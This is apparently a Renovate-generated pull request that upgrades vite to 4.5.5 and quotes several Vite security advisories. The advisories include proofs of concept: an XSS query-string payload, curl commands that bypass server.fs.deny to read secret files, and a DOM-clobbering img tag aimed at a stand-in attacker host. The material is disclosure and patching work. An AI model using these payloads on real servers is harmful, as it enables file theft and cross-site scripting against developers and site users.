it-tools
it-tools copied to clipboard
chore(deps): update dependency vite to v4.5.5 [security]
This PR contains the following updates:
Package | Change | Age | Adoption | Passing | Confidence |
---|---|---|---|---|---|
vite (source) | 4.4.9 -> 4.5.5 |
GitHub Vulnerability Alerts
CVE-2023-49293
Summary
When Vite's HTML transformation is invoked manually via server.transformIndexHtml
, the original request URL is passed in unmodified, and the html
being transformed contains inline module scripts (<script type="module">...</script>
), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string to server.transformIndexHtml
.
Impact
Only apps using appType: 'custom'
and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.
Patches
Fixed in [email protected], [email protected], [email protected]
Details
Suppose index.html
contains an inline module script:
<script type="module">
// Inline script
</script>
This script is transformed into a proxy script like
<script type="module" src="/index.html?html-proxy&index=0.js"></script>
due to Vite's HTML plugin:
https://github.com/vitejs/vite/blob/7fd7c6cebfcad34ae7021ebee28f97b1f28ef3f3/packages/vite/src/node/plugins/html.ts#L429-L465
When appType: 'spa' | 'mpa'
, Vite serves HTML itself, and htmlFallbackMiddleware
rewrites req.url
to the canonical path of index.html
,
https://github.com/vitejs/vite/blob/73ef074b80fa7252e0c46a37a2c94ba8cba46504/packages/vite/src/node/server/middlewares/htmlFallback.ts#L44-L47
so the url
passed to server.transformIndexHtml
is /index.html
.
However, if appType: 'custom'
, HTML is served manually, and if server.transformIndexHtml
is called with the unmodified request URL (as the SSR docs suggest), then the path of the transformed html-proxy
script varies with the request URL. For example, a request with path /
produces
<script type="module" src="/@​id/__x00__/index.html?html-proxy&index=0.js"></script>
It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like
"></script><script>alert('boom')</script>
so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like
<script type="module" src="/@​id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>
which demonstrates XSS.
PoC
- Example 1. Serving HTML from
vite dev
middleware withappType: 'custom'
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev-html
- "Open in New Tab"
- Edit URL to set query string to
?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E
and navigate - Witness XSS:
-
- Example 2. Serving HTML from SSR-style Express server (Vite dev server runs in middleware mode):
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=server
- (Same steps as above)
- Example 3. Plain
vite dev
(this shows that vanillavite dev
is not vulnerable, providedhtmlFallbackMiddleware
is used)- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev
- (Same steps as above)
- You should not see the alert box in this case
Detailed Impact
This will probably predominantly affect development-mode SSR, where vite.transformHtml
is called using the original req.url
, per the docs:
https://github.com/vitejs/vite/blob/7fd7c6cebfcad34ae7021ebee28f97b1f28ef3f3/docs/guide/ssr.md?plain=1#L114-L126
However, since this vulnerability affects server.transformIndexHtml
, the scope of impact may be higher to also include other ad-hoc calls to server.transformIndexHtml
from outside of Vite's own codebase.
My best guess at bisecting which versions are vulnerable involves the following test script
import fs from 'node:fs/promises';
import * as vite from 'vite';
const html = `
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
</head>
<body>
<script type="module">
// Inline script
</script>
</body>
</html>
`;
const server = await vite.createServer({ appType: 'custom' });
const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html);
console.log(transformed);
await server.close();
and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).
CVE-2024-23331
Summary
Vite dev server option server.fs.deny
can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.
This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in [email protected], [email protected], [email protected], [email protected]
Details
Since picomatch
defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.
See picomatch
usage, where nocase
is defaulted to false
: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632
By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny
fails to block access to sensitive files.
PoC
Setup
- Created vanilla Vite project using
npm create vite@latest
on a Standard Azure hosted Windows 10 instance.-
npm run dev -- --host 0.0.0.0
- Publicly accessible for the time being here: http://20.12.242.81:5173/
-
- Created dummy secret files, e.g.
custom.secret
andproduction.pem
- Populated
vite.config.js
with
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }
Reproduction
-
curl -s http://20.12.242.81:5173/@​fs//
- Descriptive error page reveals absolute filesystem path to project root
-
curl -s http://20.12.242.81:5173/@​fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
- Discoverable configuration file reveals locations of secrets
-
curl -s http://20.12.242.81:5173/@​fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
- Secrets are directly accessible using case-augmented version of filename
Proof
Impact
Who
- Users with exposed dev servers on environments with case-insensitive filesystems
What
- Files protected by
server.fs.deny
are both discoverable, and accessible
CVE-2024-31207
Summary
Vite dev server option server.fs.deny
did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*
.
Impact
Only apps setting a custom server.fs.deny
that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host
or server.host
config option) are affected.
Patches
Fixed in [email protected], [email protected], [email protected], [email protected], [email protected], [email protected]
Details
server.fs.deny
uses picomatch with the config of { matchBase: true }
. matchBase only matches the basename of the file, not the path due to a bug (https://github.com/micromatch/picomatch/issues/89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true }
and that causes dotfiles not to be denied unless they are explicitly defined.
Reproduction
Set fs.deny to ['**/.git/**']
and then curl for /.git/config
.
- with
matchBase: true
, you can get any file under.git/
(config, HEAD, etc). - with
matchBase: false
, you cannot get any file under.git/
(config, HEAD, etc).
CVE-2024-45811
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fs
denies access to files outside of Vite serving allow list. Adding ?import&raw
to the URL bypasses this limitation and returns the file content if it exists.
PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@​fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
CVE-2024-45812
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs
/iife
/umd
output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
Note that, we have identified similar security issues in Webpack: https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs
, iife
, or umd
. In such cases, Vite replaces relative paths starting with __VITE_ASSET__
using the URL retrieved from document.currentScript
.
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript
lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
const relativeUrlMechanisms = {
amd: (relativePath) => {
if (relativePath[0] !== ".") relativePath = "./" + relativePath;
return getResolveUrl(
`require.toUrl('${escapeId(relativePath)}'), document.baseURI`
);
},
cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
relativePath
)} : ${getRelativeUrlFromDocument(relativePath)})`,
es: (relativePath) => getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
),
iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
// NOTE: make sure rollup generate `module` params
system: (relativePath) => getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
),
umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
relativePath
)} : ${getRelativeUrlFromDocument(relativePath, true)})`
};
PoC
Considering a website that contains the following main.js
script, the devloper decides to use the Vite to bundle up the program with the following configuration.
// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'
export default defineConfig({
build: {
assetsInlineLimit: 0, // To avoid inline assets for PoC
rollupOptions: {
output: {
format: "cjs"
},
},
},
base: "./",
});
After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);
Adding the Vite bundled script, dist/index-DDmIg9VD.js
, as part of the web page source code, the page could load the extra.js
file from the attacker's domain, attacker.controlled.server
. The attacker only needs to insert an img
tag with the name
attribute set to currentScript
. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>Vite Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>
Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs
, iife
, or umd
) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.
Patch
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
)
Release Notes
vitejs/vite (vite)
v4.5.5
v4.5.3
v4.5.2
Please refer to CHANGELOG.md for details.
v4.5.1
Please refer to CHANGELOG.md for details.
v4.5.0
Please refer to CHANGELOG.md for details.
v4.4.12
Please refer to CHANGELOG.md for details.
v4.4.11
Please refer to CHANGELOG.md for details.
v4.4.10
Please refer to CHANGELOG.md for details.
Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
- [ ] If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.